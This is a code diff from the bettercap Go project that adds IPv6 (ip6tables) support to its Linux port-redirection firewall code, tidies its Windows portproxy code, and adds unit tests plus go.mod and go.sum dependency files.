@ -79,7 +100,7 @@ func (f *LinuxFirewall) getCommandLine(r *Redirection, enabled bool) (cmdLine []
"-p", r.Protocol, "-p", r.Protocol,
"--dport", fmt.Sprintf("%d", r.SrcPort), "--dport", fmt.Sprintf("%d", r.SrcPort),
"-j", "DNAT", "-j", "DNAT",
"--to", fmt.Sprintf("%s:%d", r.DstAddress, r.DstPort), "--to", fmt.Sprintf("%s:%d", destination, r.DstPort),
} }
} else { } else {
cmdLine = []string{ cmdLine = []string{
@ -90,7 +111,7 @@ func (f *LinuxFirewall) getCommandLine(r *Redirection, enabled bool) (cmdLine []
"-d", r.SrcAddress, "-d", r.SrcAddress,
"--dport", fmt.Sprintf("%d", r.SrcPort), "--dport", fmt.Sprintf("%d", r.SrcPort),
"-j", "DNAT", "-j", "DNAT",
"--to", fmt.Sprintf("%s:%d", r.DstAddress, r.DstPort), "--to", fmt.Sprintf("%s:%d", destination, r.DstPort),
} }
} }
@ -101,28 +122,35 @@ func (f *LinuxFirewall) EnableRedirection(r *Redirection, enabled bool) error {
cmdLine := f.getCommandLine(r, enabled) cmdLine := f.getCommandLine(r, enabled)
rkey := r.String() rkey := r.String()
_, found := f.redirections[rkey] _, found := f.redirections[rkey]
cmd := ""
if enabled == true { if strings.Count(r.DstAddress, ":") < 2 {
if found == true { cmd = "iptables"
} else {
cmd = "ip6tables"
}
if enabled {
if found {
return fmt.Errorf("Redirection '%s' already enabled.", rkey) return fmt.Errorf("Redirection '%s' already enabled.", rkey)
} }
f.redirections[rkey] = r f.redirections[rkey] = r
// accept all // accept all
if _, err := core.Exec("iptables", []string{"-P", "FORWARD", "ACCEPT"}); err != nil { if _, err := core.Exec(cmd, []string{"-P", "FORWARD", "ACCEPT"}); err != nil {
return err return err
} else if _, err := core.Exec("iptables", cmdLine); err != nil { } else if _, err := core.Exec(cmd, cmdLine); err != nil {
return err return err
} }
} else { } else {
if found == false { if !found {
return nil return nil
} }
delete(f.redirections, r.String()) delete(f.redirections, r.String())
if _, err := core.Exec("iptables", cmdLine); err != nil { if _, err := core.Exec(cmd, cmdLine); err != nil {
return err return err
} }
} }
@ -131,6 +159,9 @@ func (f *LinuxFirewall) EnableRedirection(r *Redirection, enabled bool) error {
} }
func (f LinuxFirewall) Restore() { func (f LinuxFirewall) Restore() {
if f.restore == false {
return
}
for _, r := range f.redirections { for _, r := range f.redirections {
if err := f.EnableRedirection(r, false); err != nil { if err := f.EnableRedirection(r, false); err != nil {
fmt.Printf("%s", err) fmt.Printf("%s", err)

View file

@ -4,8 +4,8 @@ import (
"fmt" "fmt"
"strings" "strings"
"github.com/bettercap/bettercap/core" "github.com/bettercap/bettercap/v2/core"
"github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/v2/network"
) )
type WindowsFirewall struct { type WindowsFirewall struct {
@ -54,7 +54,7 @@ func (f WindowsFirewall) generateRule(r *Redirection, enabled bool) []string {
fmt.Sprintf("listenport=%d", r.SrcPort), fmt.Sprintf("listenport=%d", r.SrcPort),
} }
if enabled == true { if enabled {
rule = append(rule, fmt.Sprintf("connectport=%d", r.DstPort)) rule = append(rule, fmt.Sprintf("connectport=%d", r.DstPort))
rule = append(rule, fmt.Sprintf("connectaddress=%s", r.DstAddress)) rule = append(rule, fmt.Sprintf("connectaddress=%s", r.DstAddress))
rule = append(rule, fmt.Sprintf("protocol=%s", r.Protocol)) rule = append(rule, fmt.Sprintf("protocol=%s", r.Protocol))
@ -65,7 +65,7 @@ func (f WindowsFirewall) generateRule(r *Redirection, enabled bool) []string {
func (f *WindowsFirewall) AllowPort(port int, address string, proto string, allow bool) error { func (f *WindowsFirewall) AllowPort(port int, address string, proto string, allow bool) error {
ruleName := fmt.Sprintf("bettercap-rule-%s-%s-%d", address, proto, port) ruleName := fmt.Sprintf("bettercap-rule-%s-%s-%d", address, proto, port)
nameField := fmt.Sprintf("name=\"%s\"", ruleName) nameField := fmt.Sprintf(`name="%s"`, ruleName)
protoField := fmt.Sprintf("protocol=%s", proto) protoField := fmt.Sprintf("protocol=%s", proto)
// ipField := fmt.Sprintf("lolcalip=%s", address) // ipField := fmt.Sprintf("lolcalip=%s", address)
portField := fmt.Sprintf("localport=%d", port) portField := fmt.Sprintf("localport=%d", port)
@ -93,7 +93,7 @@ func (f *WindowsFirewall) EnableRedirection(r *Redirection, enabled bool) error
} }
rule := f.generateRule(r, enabled) rule := f.generateRule(r, enabled)
if enabled == true { if enabled {
rule = append([]string{"interface", "portproxy", "add", "v4tov4"}, rule...) rule = append([]string{"interface", "portproxy", "add", "v4tov4"}, rule...)
} else { } else {
rule = append([]string{"interface", "portproxy", "delete", "v4tov4"}, rule...) rule = append([]string{"interface", "portproxy", "delete", "v4tov4"}, rule...)

View file

@ -0,0 +1,268 @@
package firewall
import (
"testing"
)
func TestNewRedirection(t *testing.T) {
iface := "eth0"
proto := "tcp"
portFrom := 8080
addrTo := "192.168.1.100"
portTo := 9090
r := NewRedirection(iface, proto, portFrom, addrTo, portTo)
if r == nil {
t.Fatal("NewRedirection returned nil")
}
if r.Interface != iface {
t.Errorf("expected Interface %s, got %s", iface, r.Interface)
}
if r.Protocol != proto {
t.Errorf("expected Protocol %s, got %s", proto, r.Protocol)
}
if r.SrcAddress != "" {
t.Errorf("expected empty SrcAddress, got %s", r.SrcAddress)
}
if r.SrcPort != portFrom {
t.Errorf("expected SrcPort %d, got %d", portFrom, r.SrcPort)
}
if r.DstAddress != addrTo {
t.Errorf("expected DstAddress %s, got %s", addrTo, r.DstAddress)
}
if r.DstPort != portTo {
t.Errorf("expected DstPort %d, got %d", portTo, r.DstPort)
}
}
func TestRedirectionString(t *testing.T) {
tests := []struct {
name string
r Redirection
want string
}{
{
name: "basic redirection",
r: Redirection{
Interface: "eth0",
Protocol: "tcp",
SrcAddress: "",
SrcPort: 8080,
DstAddress: "192.168.1.100",
DstPort: 9090,
},
want: "[eth0] (tcp) :8080 -> 192.168.1.100:9090",
},
{
name: "with source address",
r: Redirection{
Interface: "wlan0",
Protocol: "udp",
SrcAddress: "192.168.1.50",
SrcPort: 53,
DstAddress: "8.8.8.8",
DstPort: 53,
},
want: "[wlan0] (udp) 192.168.1.50:53 -> 8.8.8.8:53",
},
{
name: "localhost redirection",
r: Redirection{
Interface: "lo",
Protocol: "tcp",
SrcAddress: "127.0.0.1",
SrcPort: 80,
DstAddress: "127.0.0.1",
DstPort: 8080,
},
want: "[lo] (tcp) 127.0.0.1:80 -> 127.0.0.1:8080",
},
{
name: "high port numbers",
r: Redirection{
Interface: "eth1",
Protocol: "tcp",
SrcAddress: "",
SrcPort: 65535,
DstAddress: "10.0.0.1",
DstPort: 65534,
},
want: "[eth1] (tcp) :65535 -> 10.0.0.1:65534",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tt.r.String()
if got != tt.want {
t.Errorf("String() = %q, want %q", got, tt.want)
}
})
}
}
func TestNewRedirectionVariousProtocols(t *testing.T) {
protocols := []string{"tcp", "udp", "icmp", "any"}
for _, proto := range protocols {
t.Run(proto, func(t *testing.T) {
r := NewRedirection("eth0", proto, 1234, "10.0.0.1", 5678)
if r.Protocol != proto {
t.Errorf("expected protocol %s, got %s", proto, r.Protocol)
}
})
}
}
func TestNewRedirectionVariousInterfaces(t *testing.T) {
interfaces := []string{"eth0", "wlan0", "lo", "docker0", "br0", "tun0"}
for _, iface := range interfaces {
t.Run(iface, func(t *testing.T) {
r := NewRedirection(iface, "tcp", 80, "192.168.1.1", 8080)
if r.Interface != iface {
t.Errorf("expected interface %s, got %s", iface, r.Interface)
}
})
}
}
func TestRedirectionStringEmptyFields(t *testing.T) {
tests := []struct {
name string
r Redirection
want string
}{
{
name: "empty interface",
r: Redirection{
Interface: "",
Protocol: "tcp",
SrcAddress: "",
SrcPort: 80,
DstAddress: "192.168.1.1",
DstPort: 8080,
},
want: "[] (tcp) :80 -> 192.168.1.1:8080",
},
{
name: "empty protocol",
r: Redirection{
Interface: "eth0",
Protocol: "",
SrcAddress: "",
SrcPort: 80,
DstAddress: "192.168.1.1",
DstPort: 8080,
},
want: "[eth0] () :80 -> 192.168.1.1:8080",
},
{
name: "empty destination",
r: Redirection{
Interface: "eth0",
Protocol: "tcp",
SrcAddress: "",
SrcPort: 80,
DstAddress: "",
DstPort: 8080,
},
want: "[eth0] (tcp) :80 -> :8080",
},
{
name: "all empty strings",
r: Redirection{
Interface: "",
Protocol: "",
SrcAddress: "",
SrcPort: 0,
DstAddress: "",
DstPort: 0,
},
want: "[] () :0 -> :0",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tt.r.String()
if got != tt.want {
t.Errorf("String() = %q, want %q", got, tt.want)
}
})
}
}
func TestRedirectionStructCopy(t *testing.T) {
// Test that Redirection can be safely copied
original := NewRedirection("eth0", "tcp", 80, "192.168.1.1", 8080)
original.SrcAddress = "10.0.0.1"
// Create a copy
copy := *original
// Modify the copy
copy.Interface = "wlan0"
copy.SrcPort = 443
// Verify original is unchanged
if original.Interface != "eth0" {
t.Error("original Interface was modified")
}
if original.SrcPort != 80 {
t.Error("original SrcPort was modified")
}
// Verify copy has new values
if copy.Interface != "wlan0" {
t.Error("copy Interface was not set correctly")
}
if copy.SrcPort != 443 {
t.Error("copy SrcPort was not set correctly")
}
}
func BenchmarkNewRedirection(b *testing.B) {
for i := 0; i < b.N; i++ {
_ = NewRedirection("eth0", "tcp", 80, "192.168.1.1", 8080)
}
}
func BenchmarkRedirectionString(b *testing.B) {
r := Redirection{
Interface: "eth0",
Protocol: "tcp",
SrcAddress: "192.168.1.50",
SrcPort: 8080,
DstAddress: "192.168.1.100",
DstPort: 9090,
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
_ = r.String()
}
}
func BenchmarkRedirectionStringEmpty(b *testing.B) {
r := Redirection{
Interface: "eth0",
Protocol: "tcp",
SrcAddress: "",
SrcPort: 8080,
DstAddress: "192.168.1.100",
DstPort: 9090,
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
_ = r.String()
}
}

67
go.mod Normal file
View file

@ -0,0 +1,67 @@
module github.com/bettercap/bettercap/v2
go 1.23.0
toolchain go1.24.4
require (
github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d
github.com/adrianmo/go-nmea v1.10.0
github.com/antchfx/jsonquery v1.3.6
github.com/bettercap/gatt v0.0.0-20240808115956-ec4935e8c4a0
github.com/bettercap/nrf24 v0.0.0-20190219153547-aa37e6d0e0eb
github.com/bettercap/readline v0.0.0-20210228151553-655e48bcb7bf
github.com/bettercap/recording v0.0.0-20190408083647-3ce1dcf032e3
github.com/cenkalti/backoff v2.2.1+incompatible
github.com/dustin/go-humanize v1.0.1
github.com/elazarl/goproxy v1.7.2
github.com/evilsocket/islazy v1.11.0
github.com/florianl/go-nfqueue/v2 v2.0.0
github.com/gobwas/glob v0.0.0-20181002190808-e7a84e9525fe
github.com/google/go-github v17.0.0+incompatible
github.com/google/gopacket v1.1.19
github.com/google/gousb v1.1.3
github.com/gorilla/mux v1.8.1
github.com/gorilla/websocket v1.5.3
github.com/hashicorp/go-bexpr v0.1.14
github.com/inconshreveable/go-vhost v1.0.0
github.com/jpillora/go-tld v1.2.1
github.com/malfunkt/iprange v0.9.0
github.com/mdlayher/dhcp6 v0.0.0-20190311162359-2a67805d7d0b
github.com/miekg/dns v1.1.67
github.com/mitchellh/go-homedir v1.1.0
github.com/phin1x/go-ipp v1.6.1
github.com/robertkrimen/otto v0.5.1
github.com/stratoberry/go-gpsd v1.3.0
github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07
github.com/thoj/go-ircevent v0.0.0-20210723090443-73e444401d64
go.einride.tech/can v0.14.0
golang.org/x/net v0.42.0
gopkg.in/yaml.v3 v3.0.1
)
require (
github.com/antchfx/xpath v1.3.4 // indirect
github.com/chzyer/logex v1.2.1 // indirect
github.com/golang/groupcache v0.0.0-20241129210726-2c02b8208cf8 // indirect
github.com/golang/mock v1.6.0 // indirect
github.com/google/go-cmp v0.7.0 // indirect
github.com/google/go-querystring v1.1.0 // indirect
github.com/josharian/native v1.1.0 // indirect
github.com/kr/binarydist v0.1.0 // indirect
github.com/mattn/go-colorable v0.1.14 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/mdlayher/netlink v1.7.2 // indirect
github.com/mdlayher/socket v0.5.1 // indirect
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d // indirect
github.com/mgutz/logxi v0.0.0-20161027140823-aebf8a7d67ab // indirect
github.com/mitchellh/mapstructure v1.5.0 // indirect
github.com/mitchellh/pointerstructure v1.2.1 // indirect
github.com/pkg/errors v0.9.1 // indirect
golang.org/x/mod v0.26.0 // indirect
golang.org/x/sync v0.16.0 // indirect
golang.org/x/sys v0.34.0 // indirect
golang.org/x/text v0.27.0 // indirect
golang.org/x/tools v0.35.0 // indirect
gopkg.in/sourcemap.v1 v1.0.5 // indirect
)

192
go.sum Normal file
View file

@ -0,0 +1,192 @@
github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d h1:licZJFw2RwpHMqeKTCYkitsPqHNxTmd4SNR5r94FGM8=
github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d/go.mod h1:asat636LX7Bqt5lYEZ27JNDcqxfjdBQuJ/MM4CN/Lzo=
github.com/adrianmo/go-nmea v1.10.0 h1:L1aYaebZ4cXFCoXNSeDeQa0tApvSKvIbqMsK+iaRiCo=
github.com/adrianmo/go-nmea v1.10.0/go.mod h1:u8bPnpKt/D/5rll/5l9f6iDfeq5WZW0+/SXdkwix6Tg=
github.com/antchfx/jsonquery v1.3.6 h1:TaSfeAh7n6T11I74bsZ1FswreIfrbJ0X+OyLflx6mx4=
github.com/antchfx/jsonquery v1.3.6/go.mod h1:fGzSGJn9Y826Qd3pC8Wx45avuUwpkePsACQJYy+58BU=
github.com/antchfx/xpath v1.3.2/go.mod h1:i54GszH55fYfBmoZXapTHN8T8tkcHfRgLyVwwqzXNcs=
github.com/antchfx/xpath v1.3.4 h1:1ixrW1VnXd4HurCj7qnqnR0jo14g8JMe20Fshg1Vgz4=
github.com/antchfx/xpath v1.3.4/go.mod h1:i54GszH55fYfBmoZXapTHN8T8tkcHfRgLyVwwqzXNcs=
github.com/bettercap/gatt v0.0.0-20240808115956-ec4935e8c4a0 h1:HiFUGV/7eGWG/YJAf9HcKOUmxIj+7LVzC8zD57VX1qo=
github.com/bettercap/gatt v0.0.0-20240808115956-ec4935e8c4a0/go.mod h1:oafnPgaBI4gqJiYkueCyR4dqygiWGXTGOE0gmmAVeeQ=
github.com/bettercap/nrf24 v0.0.0-20190219153547-aa37e6d0e0eb h1:JWAAJk4ny+bT3VrtcX+e7mcmWtWUeUM0xVcocSAUuWc=
github.com/bettercap/nrf24 v0.0.0-20190219153547-aa37e6d0e0eb/go.mod h1:g6WiaSRgMTiChuk7jYyFSEtpgaw1F0wAsBfspG3bu0M=
github.com/bettercap/readline v0.0.0-20210228151553-655e48bcb7bf h1:pwGPRc5PIp4KCF9QbKn0iLVMhfigUMw4IzGZEZ81m1I=
github.com/bettercap/readline v0.0.0-20210228151553-655e48bcb7bf/go.mod h1:03rWiUf60r1miMVzMEtgtkq7RdZniecZFw3/Zgvyxcs=
github.com/bettercap/recording v0.0.0-20190408083647-3ce1dcf032e3 h1:pC4ZAk7UtDIbrRKzMMiIL1TVkiKlgtgcJodqKB53Rl4=
github.com/bettercap/recording v0.0.0-20190408083647-3ce1dcf032e3/go.mod h1:kqVwnx6DKuOHMZcBnzsgp2Lq2JZHDtFtm92b5hxdRaM=
github.com/cenkalti/backoff v2.2.1+incompatible h1:tNowT99t7UNflLxfYYSlKYsBpXdEet03Pg2g16Swow4=
github.com/cenkalti/backoff v2.2.1+incompatible/go.mod h1:90ReRw6GdpyfrHakVjL/QHaoyV4aDUVVkXQJJJ3NXXM=
github.com/chzyer/logex v1.2.1 h1:XHDu3E6q+gdHgsdTPH6ImJMIp436vR6MPtH8gP05QzM=
github.com/chzyer/logex v1.2.1/go.mod h1:JLbx6lG2kDbNRFnfkgvh4eRJRPX1QCoOIWomwysCBrQ=
github.com/chzyer/test v1.0.0 h1:p3BQDXSxOhOG0P9z6/hGnII4LGiEPOYBhs8asl/fC04=
github.com/chzyer/test v1.0.0/go.mod h1:2JlltgoNkt4TW/z9V/IzDdFaMTM2JPIi26O1pF38GC8=
github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
github.com/elazarl/goproxy v1.7.2 h1:Y2o6urb7Eule09PjlhQRGNsqRfPmYI3KKQLFpCAV3+o=
github.com/elazarl/goproxy v1.7.2/go.mod h1:82vkLNir0ALaW14Rc399OTTjyNREgmdL2cVoIbS6XaE=
github.com/evilsocket/islazy v1.11.0 h1:B5w6uuS6ki6iDG+aH/RFeoMb8ijQh/pGabewqp2UeJ0=
github.com/evilsocket/islazy v1.11.0/go.mod h1:muYH4x5MB5YRdkxnrOtrXLIBX6LySj1uFIqys94LKdo=
github.com/florianl/go-nfqueue/v2 v2.0.0 h1:NTCxS9b0GSbHkWv1a7oOvZn679fsyDkaSkRvOYpQ9Oo=
github.com/florianl/go-nfqueue/v2 v2.0.0/go.mod h1:M2tBLIj62QpwqjwV0qfcjqGOqP3qiTuXr2uSRBXH9Qk=
github.com/gobwas/glob v0.0.0-20181002190808-e7a84e9525fe h1:8P+/htb3mwwpeGdJg69yBF/RofK7c6Fjz5Ypa/bTqbY=
github.com/gobwas/glob v0.0.0-20181002190808-e7a84e9525fe/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8=
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/groupcache v0.0.0-20241129210726-2c02b8208cf8 h1:f+oWsMOmNPc8JmEHVZIycC7hBoQxHH9pNKQORJNozsQ=
github.com/golang/groupcache v0.0.0-20241129210726-2c02b8208cf8/go.mod h1:wcDNUvekVysuuOpQKo3191zZyTpiI6se1N1ULghS0sw=
github.com/golang/mock v1.6.0 h1:ErTB+efbowRARo13NNdxyJji2egdxLGQhRaY+DUumQc=
github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs=
github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
github.com/google/go-github v17.0.0+incompatible h1:N0LgJ1j65A7kfXrZnUDaYCs/Sf4rEjNlfyDHW9dolSY=
github.com/google/go-github v17.0.0+incompatible/go.mod h1:zLgOLi98H3fifZn+44m+umXrS52loVEgC2AApnigrVQ=
github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8=
github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU=
github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8=
github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
github.com/google/gousb v1.1.3 h1:xt6M5TDsGSZ+rlomz5Si5Hmd/Fvbmo2YCJHN+yGaK4o=
github.com/google/gousb v1.1.3/go.mod h1:GGWUkK0gAXDzxhwrzetW592aOmkkqSGcj5KLEgmCVUg=
github.com/gorilla/mux v1.8.1 h1:TuBL49tXwgrFYWhqrNgrUNEY92u81SPhu7sTdzQEiWY=
github.com/gorilla/mux v1.8.1/go.mod h1:AKf9I4AEqPTmMytcMc0KkNouC66V3BtZ4qD5fmWSiMQ=
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/hashicorp/go-bexpr v0.1.14 h1:uKDeyuOhWhT1r5CiMTjdVY4Aoxdxs6EtwgTGnlosyp4=
github.com/hashicorp/go-bexpr v0.1.14/go.mod h1:gN7hRKB3s7yT+YvTdnhZVLTENejvhlkZ8UE4YVBS+Q8=
github.com/inconshreveable/go-vhost v1.0.0 h1:IK4VZTlXL4l9vz2IZoiSFbYaaqUW7dXJAiPriUN5Ur8=
github.com/inconshreveable/go-vhost v1.0.0/go.mod h1:aA6DnFhALT3zH0y+A39we+zbrdMC2N0X/q21e6FI0LU=
github.com/josharian/native v1.1.0 h1:uuaP0hAbW7Y4l0ZRQ6C9zfb7Mg1mbFKry/xzDAfmtLA=
github.com/josharian/native v1.1.0/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w=
github.com/jpillora/go-tld v1.2.1 h1:kDKOkmXLlskqjcvNs7w5XHLep7c8WM7Xd4HQjxllVMk=
github.com/jpillora/go-tld v1.2.1/go.mod h1:plzIl7xr5UWKGy7R+giuv+L/nOjrPjsoWxy/ST9OBUk=
github.com/kr/binarydist v0.1.0 h1:6kAoLA9FMMnNGSehX0s1PdjbEaACznAv/W219j2uvyo=
github.com/kr/binarydist v0.1.0/go.mod h1:DY7S//GCoz1BCd0B0EVrinCKAZN3pXe+MDaIZbXQVgM=
github.com/kr/pretty v0.2.1 h1:Fmg33tUaq4/8ym9TJN1x7sLJnHVwhP33CNkpYV/7rwI=
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/malfunkt/iprange v0.9.0 h1:VCs0PKLUPotNVQTpVNszsut4lP7OCGNBwX+lOYBrnVQ=
github.com/malfunkt/iprange v0.9.0/go.mod h1:TRGqO/f95gh3LOndUGTL46+W0GXA91WTqyZ0Quwvt4U=
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE=
github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mdlayher/dhcp6 v0.0.0-20190311162359-2a67805d7d0b h1:r12blE3QRYlW1WBiBEe007O6NrTb/P54OjR5d4WLEGk=
github.com/mdlayher/dhcp6 v0.0.0-20190311162359-2a67805d7d0b/go.mod h1:p4K2+UAoap8Jzsadsxc0KG0OZjmmCthTPUyZqAVkjBY=
github.com/mdlayher/netlink v1.7.2 h1:/UtM3ofJap7Vl4QWCPDGXY8d3GIY2UGSDbK+QWmY8/g=
github.com/mdlayher/netlink v1.7.2/go.mod h1:xraEF7uJbxLhc5fpHL4cPe221LI2bdttWlU+ZGLfQSw=
github.com/mdlayher/socket v0.5.1 h1:VZaqt6RkGkt2OE9l3GcC6nZkqD3xKeQLyfleW/uBcos=
github.com/mdlayher/socket v0.5.1/go.mod h1:TjPLHI1UgwEv5J1B5q0zTZq12A/6H7nKmtTanQE37IQ=
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d h1:5PJl274Y63IEHC+7izoQE9x6ikvDFZS2mDVS3drnohI=
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
github.com/mgutz/logxi v0.0.0-20161027140823-aebf8a7d67ab h1:n8cgpHzJ5+EDyDri2s/GC7a9+qK3/YEGnBsd0uS/8PY=
github.com/mgutz/logxi v0.0.0-20161027140823-aebf8a7d67ab/go.mod h1:y1pL58r5z2VvAjeG1VLGc8zOQgSOzbKN7kMHPvFXJ+8=
github.com/miekg/dns v1.1.67 h1:kg0EHj0G4bfT5/oOys6HhZw4vmMlnoZ+gDu8tJ/AlI0=
github.com/miekg/dns v1.1.67/go.mod h1:fujopn7TB3Pu3JM69XaawiU0wqjpL9/8xGop5UrTPps=
github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y=
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo=
github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY=
github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo=
github.com/mitchellh/pointerstructure v1.2.1 h1:ZhBBeX8tSlRpu/FFhXH4RC4OJzFlqsQhoHZAz4x7TIw=
github.com/mitchellh/pointerstructure v1.2.1/go.mod h1:BRAsLI5zgXmw97Lf6s25bs8ohIXc3tViBH44KcwB2g4=
github.com/phin1x/go-ipp v1.6.1 h1:oxJXi92BO2FZhNcG3twjnxKFH1liTQ46vbbZx+IN/80=
github.com/phin1x/go-ipp v1.6.1/go.mod h1:GZwyNds6grdLi2xRBX22Cvt7Dh7ITWsML0bjrqBF5uo=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/robertkrimen/otto v0.5.1 h1:avDI4ToRk8k1hppLdYFTuuzND41n37vPGJU7547dGf0=
github.com/robertkrimen/otto v0.5.1/go.mod h1:bS433I4Q9p+E5pZLu7r17vP6FkE6/wLxBdmKjoqJXF8=
github.com/stratoberry/go-gpsd v1.3.0 h1:JxJOEC4SgD0QY65AE7B1CtJtweP73nqJghZeLNU9J+c=
github.com/stratoberry/go-gpsd v1.3.0/go.mod h1:nVf/vTgfYxOMxiQdy9BtJjojbFRtG8H3wNula++VgkU=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA=
github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
